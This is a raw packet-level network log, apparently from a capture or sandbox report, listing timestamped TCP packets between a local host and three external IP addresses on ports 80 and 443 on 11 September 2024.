Sep 11, 2024 16:22:19.160430908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160430908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160470963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160471916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160480022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160485983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160491943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.160532951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.160532951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.161015034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.161128044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.164535999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164624929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.164629936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164635897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164647102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164664984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164671898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164684057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164686918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.164690018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.164736032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.164736032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171036005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171041965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171053886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171057940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171092033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171097040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171111107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171117067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171149015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171149015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171186924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171194077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171205044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171211958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171224117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171228886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.171232939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171232939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171272039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.171272039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172564030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172570944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172580957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172606945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172612906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172624111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172627926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172652006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172683001 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172691107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172697067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172708035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172713041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172722101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172733068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172760010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172791004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172796965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172802925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172807932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172813892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172820091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172838926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172864914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172864914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172873974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172880888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172887087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172893047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.172931910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.172931910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173010111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173017025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173027992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173047066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173216105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173223019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173233032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173238993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173243999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173249960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173255920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173260927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173266888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173268080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173273087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173279047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173305988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173310041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173331022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173352957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173357964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173362970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173369884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173376083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173388004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173393965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173399925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173413038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173413038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173418999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173438072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173460960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173466921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173477888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173482895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173487902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173499107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.173506975 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173520088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.173537970 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.174091101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174097061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174108982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174165010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174170971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174184084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174186945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.174186945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.174190998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.174225092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.174252033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.174870014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174906015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174911976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174928904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.174949884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.174963951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174969912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174979925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174985886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.174998045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175004005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175031900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175031900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175039053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175050020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175060034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175085068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175163031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175168991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175180912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175225019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175225019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175268888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175275087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175287008 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175292969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175303936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.175308943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175323963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175329924 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175373077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175379038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175395012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175398111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.175401926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175409079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175410032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175409079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175416946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175425053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175436020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175461054 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175510883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175523996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175535917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175540924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175553083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175559044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175564051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175570011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175574064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175575018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175653934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.175707102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175714970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175721884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.175775051 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.178323984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178330898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178343058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178442955 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178453922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178459883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178472042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178483963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178492069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178503036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178503036 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178513050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178519011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178528070 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178546906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178575039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178581953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178592920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178597927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178603888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178610086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178621054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178623915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178636074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178644896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178674936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178705931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178711891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178723097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178728104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178734064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178740978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178762913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178785086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178814888 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178838015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178874016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178879976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178885937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178889990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178896904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178909063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178942919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.178966045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178972006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178983927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178988934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.178994894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179004908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179040909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179135084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179141045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179152012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179157019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179173946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179173946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179183006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179193020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179195881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179198980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179205894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179212093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179224968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179251909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179251909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179590940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179598093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179609060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179614067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179622889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179636002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179636955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179644108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179657936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179661989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179693937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179722071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179728031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179733992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179744959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179749966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179757118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179768085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179768085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179775953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179780960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179786921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179791927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179796934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179804087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179804087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179825068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.179964066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179970980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179975986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179980993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.179997921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180006027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180011034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180017948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180027962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180032969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180037975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180038929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180046082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180049896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180063963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180063963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180090904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180192947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180198908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180210114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180216074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180227995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180233955 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180234909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180255890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180289030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180289030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180289030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.180296898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180306911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.180329084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.192584038 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.192706108 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.193245888 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.193319082 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.194180012 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.194251060 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.198441982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198448896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198458910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198466063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198483944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.198515892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.198540926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198548079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198559999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198564053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.198586941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.198620081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.200228930 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.200304985 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.200305939 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.200340033 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.200377941 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.200400114 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.232301950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232319117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232325077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.232336044 CEST	80	49735	147.45.44.104	192.168.2.4
